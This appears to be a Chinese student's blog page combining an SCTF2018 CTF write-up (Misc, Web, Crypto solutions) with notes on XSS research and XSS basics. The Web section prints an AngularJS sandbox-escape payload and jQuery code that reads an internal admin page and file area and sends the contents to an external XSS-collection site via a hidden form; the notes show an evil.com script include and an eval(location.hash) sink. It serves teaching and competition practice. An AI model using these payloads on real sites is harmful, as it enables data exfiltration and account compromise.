Write up

前言

太菜了，还是太菜了。我已经沦为MISC选手了QAQ，一道Web没做出来（PHPmyadmin学弟做的）。。。愧为Web狗。

不过。。。这次超过天枢了，好开心。（虽说人家没有认真打）

正体

MISC-Modbus

查了下Modbus，是个工控协议。随手右键看了下TCP流，没想到直接就有flag....
什么鬼。

MISC-侧信道初探

这个算是学到了一点点。查了下侧信道的内容。题目给的文件是一个算法和一个图片。
直接看图片里下降沿，按二进制读取即为flag

MISC-肥宅快乐题

打游戏就给flag，不过真正的肥宅都懒得打，我用Flash反编译找的flag。。。
多亏potplayer强大，能直接拖进度条跳帧。拖到后面找到了flag，但那字体1和l分不清，于是在反编译里查了附近的字段。直接定位，base64 decode，flag complete.

Web-新的建议版

这题XSS都成功了，就是不知道下一步怎么利用。毕竟只能打自己。。。
payload：

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(alert(1))//');}}

页面引用了AngularJS 1.4.6，对应版本有漏洞
怼了两天没做出来。。。。
等大佬们的flag吧。。。。

找到了一份Harries师傅的wp，MMP哟。原来提交留言管理员那里也会触发一遍。。。有句mmp我一定要说。

后台并不在公网上，http://127.0.0.1:1002/admin

构造payload读后台：

$.ajax({
    url: "/admin",
    type: "GET",
    dataType: "text",
    success: function(result) {
        var code = btoa(encodeURIComponent(result));
        xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
    },
    error: function(msg) {

    }
})

function xssPost(url, postStr) {
    var de;
    de = document.body.appendChild(document.createElement('iframe'));
    de.src = 'about:blank';
    de.height = 1;
    de.width = 1;
    de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
    de.contentDocument.forms[0].submit();
    de.style.display = 'none';
}

在js脚本里写入读取后台页面的代码，提交留言，收到 /admin 页面的内容

在base64跟url解码之后，拿到 /admin 页面

我们可以看到有个文件管理页面，继续修改js访问 /admin/file

这里需要输入文件密码才能访问，接下来找一下文件密码

在一开始的首页里有个 min-test.js ，这里泄露了admin模板文件 view/admintest2313.html ，在这个模板中发现一个备忘录的接口

猜测这是在看 admintest2313 用户的备忘录，然后我们从获取到的后台页面中发现了 adminClound 这个用户名

拿到文件密码后，构造post包访问 /admin/file

$.ajax({
    url: "/admin/file",
    type: "POST",
    data: "filepasswd=HGf%5E%2639NsslUIf%5E23",
    dataType: "text",
    success: function(result) {
        var code = btoa(encodeURIComponent(result));
        xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
    },
    error: function(msg) {

    }
})

即得flag。
太菜了，太菜了。。。。
想不到，想不到。。。。

Web-PHPmyadmin

这题学弟在群里看到了某师傅发的截图，尽管打了码，不过还是看到了师傅用的一句话的名字，爆破了密码。。。直接拿的flag。。。
真是多亏他的防撤回。。。QAQ

Crypto-it may contain 'flag'

nec都给了，数量级相同，用e指数攻击，维纳攻击，可解出d

而后解出：

n = 356096033429997161372356441930246707554046995590506452306084931488519008238592151695866774341246347160182054216879883209187019942641996111166252052256475412435016177136773967956292472785118669272929844214105480922945372638910276569650465033695573697459823872295312452877368652943145314840314022954151337366463
d = 731297
c = 0xd19d63015bdcb0b61824237b5c67cb2ef09af0c6cd30e193ff9683357b1e45ab4df607b8c1e0b96cafc49a84d7e655c3ce0f71b1d217eec9ca6cdfa57dd3dc92533b79431aa8a7d6ca67ac9cdd65b178a5a96ab7ce7bf88440f4a9b9d10151b0c942a42fdab9ea2c2f0c3706e9777c91dcc9bbdee4b0fb7f5d3001719c1dd3d3
mingwen = pow(c,d,n)
print (hex(mingwen))

Crypto-a number problem

x**33=1926041757553905692219721422025224638913707 mod 3436415358139016629092568198745009225773259
tell me the smallest answer of x

这题我还问了我爸到底是个啥原理，算是巧了，，，我爹数学系出身。。。余数定理，我爹说小时候还跟我玩过这个游戏。。。

a = b mod c
====>
a mod c == b mod c

然鹅手写是跑不出来的，最后还是队友用wolframalpha输入等式直接出的。。。。

Security notes

关于XSS一点不成…

2017年12月7日2018年6月4日
by harmoc

去年创新立项的时候扬言要写一篇科研论文。如今结题日将至，却依旧难有明确的思路。老师说，先把目前所做的工作总结一下，写写论文。那我也只能用写作的方式把自己的一些不成熟的想法记述下来，看看能否有所突破。

这一年，读过一些论文，知道XSS的攻击方式、过滤手段，基本情况还算清晰，问题在于如何创新。

暂时有两个思路，不知道能不能想出来其他的。。。

其一，Fuzzing。在fuzzing基础上，加一些新的东西，譬如《基于Fuzzing技术提升XSS漏洞防御水平的研究》一文，将轻型ids引入xss防御系统。
我的想法是引入异步爬虫，也就是在爬虫效率上做文章。不知是否可行，但以我目前的认知，爬虫绝非关键。

其二，机器学习，自动攻击向量生成。前些天和一个表哥聊天，聊到安全建模，突然萌生了这么个想法，以机器学习演化payload，让机器学习寻找可能存在xss的点。
但限于个人水平加上学习机器学习也需要一定周期。此方法基本否决。

其实感觉科研也没有一开始想的那么严谨，反而感觉有些微妙。单看题目，有的时候都能明白这是篇好论文还是水论文。老技术，哪来的创新了。。。还是说大佬都发EI、SCI去了。。。

目前最可行的方案还是fuzzing，再引入些新东西。
目前最大的问题还是在于软件及其测试。
代码能力还不够，思路不够清晰

fuzzing可以和什么结合起来呢？
从整个防御体系看？反爬虫？IDS？认证体制诸如数字指纹？
从算法看？
从Web结构看？

yi mi wa ga nai

果然还是发现写出来比干想强的多，写写一个弱鸡对XSS的一些感觉吧。

被动式攻击
与CSRF是好伙伴
比较常见
可以说是一个很有哲学性存在的漏洞，相对存在
其过滤规则其实并不好把握，如果太严，影响用户使用体验
其检测基本上要么白盒审计，要么fuzzing

Security notes

第三章-XSS

2017年9月22日2021年7月14日
by harmoc

跨站脚本 Cross Site Scripting

3.1 XSS概述

跨站脚本 Cross Site Scripting

发生在目标网站中目标用户的浏览器层面上，当用户浏览器渲染整个HTML文档的过程中出现了不被预期的脚本指令并执行的时候，XSS就会发生。
定义关键点有三：

目标网站的目标用户：强调场景。
浏览器：浏览器会严格执行共同约定的同源策略，不符合约定的就不会执行。
不被预期的：那么很可能就是攻击者在输入是提交了可控的脚本内容，而后输出后被浏览器解析执行

1.脚本

<script src="http://www.evil.com/xss.js"><script>
引用第三方域上的脚本资源。
有时，并不按照浏览器允许的策略执行（同源策略），如此称之为跨域脚本，突破的是浏览器的同源策略。 即真正的跨站
<script>
eval(location.hash.subnstr(1));
</script>
直接运行无效果，eval动态执行的是location.hash中的值，即地址栏URL后跟着的#xxx这段内容。

简而言之：XSS所做的就是想尽一切办法将脚本内容在目标网站中目标用户的浏览器上执行~

3.2 XSS类型

反射型XSS
发出请求时，XSS代码会出现在URL中，作为输入提交到服务端，服务端解析后响应，在响应内容中会出这段XSS代码，最后浏览器解析执行。
过程如同一次反射，故称反射型XSS。
储存型XSS
提交的XSS代码会存储在服务端（无论数据库、内存、文件系统），下次请求页面不需要再次提交XSS代码。：最隐蔽。
DOM型XSS
触发XSS靠的是浏览器DOM解析。（可认为是完全客户端行为）

有常见输入点如下：
    document.URL
    document.URLUnencoded
    document.location(及location多个属性) document.referrer
    window.location(及location多个属性)
    window.name
    xhr请求回来的数据
    document.cookie
    表单项的值。
常见输出点：
    直接输出HTML内容：
    document.write(...)
    document.writeln(...)
    document.body.innerHtml=...
    直接修改DOM树，（包括DHTMl事件）
    document.forms[0].action=...(及其他集合如一些对象的src/href属性等)
    替换document URL
    document.location=...（及直接赋值给location的href,host,hostname等属性）
    打开或修改新窗口
    document.open(...)
    直接执行脚本
    eval(...)

3.3 出现点

支持JavaScript解析和HTML解析的位置。
不同的域范围内执行的XSS权限不一样。（Internet域、本地域、特殊域（浏览器的功能界面及插件层面））

3.4 危害

挂马
盗Cookie
DoS客户端浏览器
钓鱼
写针对性的XSS病毒
劫持用户Web行为
爆发Web2.0蠕虫
蠕虫式的DDOS攻击
蠕虫式挂马、刷流量

综上：其实XSS作用并非那么明显，主要还是作为下一步攻击的条件。

标签： <span>XSS</span>

SCTF2018-…

前言

正体